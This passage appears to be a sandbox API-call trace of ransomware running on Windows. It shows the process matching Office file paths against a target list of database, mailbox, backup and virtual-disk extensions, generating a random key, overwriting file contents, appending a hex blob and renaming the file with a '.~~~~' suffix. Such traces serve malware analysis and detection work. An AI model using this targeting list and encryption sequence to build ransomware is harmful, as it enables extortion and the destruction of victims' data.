	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".edb") returned 0x0
	[0145.001] lstrlenW (lpString=".PST") returned 4
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".PST") returned 0x0
	[0145.001] lstrlenW (lpString=".dbf") returned 4
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".dbf") returned 0x0
	[0145.001] lstrlenW (lpString=".SQL") returned 4
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".SQL") returned 0x0
	[0145.001] lstrlenW (lpString=".pst") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".pst") returned 0x0
	[0145.002] lstrlenW (lpString=".dbv") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".dbv") returned 0x0
	[0145.002] lstrlenW (lpString=".SDF") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".SDF") returned 0x0
	[0145.002] lstrlenW (lpString=".dtxs") returned 5
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0145.002] lstrlenW (lpString=".db3") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".db3") returned 0x0
	[0145.002] lstrlenW (lpString=".OST") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".OST") returned 0x0
	[0145.002] lstrlenW (lpString=".dbx") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".dbx") returned 0x0
	[0145.002] lstrlenW (lpString=".DB3") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DB3") returned 0x0
	[0145.002] lstrlenW (lpString=".DAT") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DAT") returned 0x0
	[0145.002] lstrlenW (lpString=".VHDX") returned 5
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0145.002] lstrlenW (lpString=".ndf") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".ndf") returned 0x0
	[0145.002] lstrlenW (lpString=".DB") returned 3
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DB") returned 0x0
	[0145.002] lstrlenW (lpString=".sql") returned 4
	[0145.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".sql") returned 0x0
	[0145.002] lstrlenW (lpString=".MYD") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".MYD") returned 0x0
	[0145.003] lstrlenW (lpString=".DBT") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DBT") returned 0x0
	[0145.003] lstrlenW (lpString=".ACCDB") returned 6
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0145.003] lstrlenW (lpString=".fdb") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".fdb") returned 0x0
	[0145.003] lstrlenW (lpString=".bak") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".bak") returned 0x0
	[0145.003] lstrlenW (lpString=".myd") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".myd") returned 0x0
	[0145.003] lstrlenW (lpString=".DTXS") returned 5
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0145.003] lstrlenW (lpString=".ckp") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".ckp") returned 0x0
	[0145.003] lstrlenW (lpString=".dbt") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".dbt") returned 0x0
	[0145.003] lstrlenW (lpString=".db") returned 3
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".db") returned 0x0
	[0145.003] lstrlenW (lpString=".TXT") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".TXT") returned 0x0
	[0145.003] lstrlenW (lpString=".MDF") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".MDF") returned 0x0
	[0145.003] lstrlenW (lpString=".bdb") returned 4
	[0145.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".bdb") returned 0x0
	[0145.004] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.004] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.005] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.005] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.005] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26499539489) returned 1
	[0145.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbfd56790, dwHighDateTime=0x1d60e1e)) 
	[0145.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fa20
	[0145.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fa20 | out: hHeap=0x300000) returned 1
	[0145.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b09d0
	[0145.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0145.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0145.006] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.006] GetLastError () returned 0x0
	[0145.007] GetLastError () returned 0x0
	[0145.007] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.007] GetLastError () returned 0x0
	[0145.007] GetLastError () returned 0x0
	[0145.007] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0xd8, lpOverlapped=0x0) returned 1
	[0145.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.009] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd8, lpOverlapped=0x0) returned 1
	[0145.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.010] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.010] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.010] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.014] CloseHandle (hObject=0x114) returned 1
	[0145.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ae80
	[0145.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.~~~~")) returned 1
	[0145.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ae80 | out: hHeap=0x300000) returned 1
	[0145.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.017] GetLastError () returned 0x0
	[0145.017] RtlWakeConditionVariable () returned 0x0
	[0145.017] GetCurrentThreadId () returned 0x9cc
	[0145.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.017] lstrlenW (lpString=".cmd") returned 4
	[0145.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.017] lstrlenW (lpString=".dll") returned 4
	[0145.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.017] lstrlenW (lpString=".bat") returned 4
	[0145.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.017] lstrlenW (lpString=".cpl") returned 4
	[0145.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.017] lstrlenW (lpString=".sys") returned 4
	[0145.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.018] lstrlenW (lpString=".msc") returned 4
	[0145.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.018] lstrlenW (lpString=".com") returned 4
	[0145.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".com") returned 0x0
	[0145.018] lstrlenW (lpString=".lnk") returned 4
	[0145.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.018] lstrlenW (lpString=".msp") returned 4
	[0145.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.018] lstrlenW (lpString=".pif") returned 4
	[0145.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.018] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.020] lstrlenW (lpString=".sqb") returned 4
	[0145.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.020] lstrlenW (lpString=".ost") returned 4
	[0145.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.021] lstrlenW (lpString=".txt") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.021] lstrlenW (lpString=".mdt") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.021] lstrlenW (lpString=".BDB") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.021] lstrlenW (lpString=".eql") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.021] lstrlenW (lpString=".DBF") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.021] lstrlenW (lpString=".EQL") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.021] lstrlenW (lpString=".FDB") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.021] lstrlenW (lpString=".EDB") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.021] lstrlenW (lpString=".DACPAC") returned 7
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.021] lstrlenW (lpString=".VHD") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.021] lstrlenW (lpString=".DBV") returned 4
	[0145.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.022] lstrlenW (lpString=".dacpac") returned 7
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.022] lstrlenW (lpString=".sdf") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.022] lstrlenW (lpString=".accdb") returned 6
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.022] lstrlenW (lpString=".DBX") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.022] lstrlenW (lpString=".MDT") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.022] lstrlenW (lpString=".SQB") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.022] lstrlenW (lpString=".vhd") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.022] lstrlenW (lpString=".bac") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.022] lstrlenW (lpString=".mdf") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.022] lstrlenW (lpString=".BAK") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.022] lstrlenW (lpString=".BAC") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.022] lstrlenW (lpString=".dbs") returned 4
	[0145.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.022] lstrlenW (lpString=".vhdx") returned 5
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.023] lstrlenW (lpString=".NDF") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.023] lstrlenW (lpString=".dat") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.023] lstrlenW (lpString=".DBS") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.023] lstrlenW (lpString=".CKP") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.023] lstrlenW (lpString=".edb") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.023] lstrlenW (lpString=".PST") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.023] lstrlenW (lpString=".dbf") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.023] lstrlenW (lpString=".SQL") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.023] lstrlenW (lpString=".pst") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.023] lstrlenW (lpString=".dbv") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.023] lstrlenW (lpString=".SDF") returned 4
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.023] lstrlenW (lpString=".dtxs") returned 5
	[0145.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.024] lstrlenW (lpString=".db3") returned 4
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.024] lstrlenW (lpString=".OST") returned 4
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.024] lstrlenW (lpString=".dbx") returned 4
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.024] lstrlenW (lpString=".DB3") returned 4
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.024] lstrlenW (lpString=".DAT") returned 4
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.024] lstrlenW (lpString=".VHDX") returned 5
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.024] lstrlenW (lpString=".ndf") returned 4
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.024] lstrlenW (lpString=".DB") returned 3
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.024] lstrlenW (lpString=".sql") returned 4
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.024] lstrlenW (lpString=".MYD") returned 4
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.024] lstrlenW (lpString=".DBT") returned 4
	[0145.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.025] lstrlenW (lpString=".ACCDB") returned 6
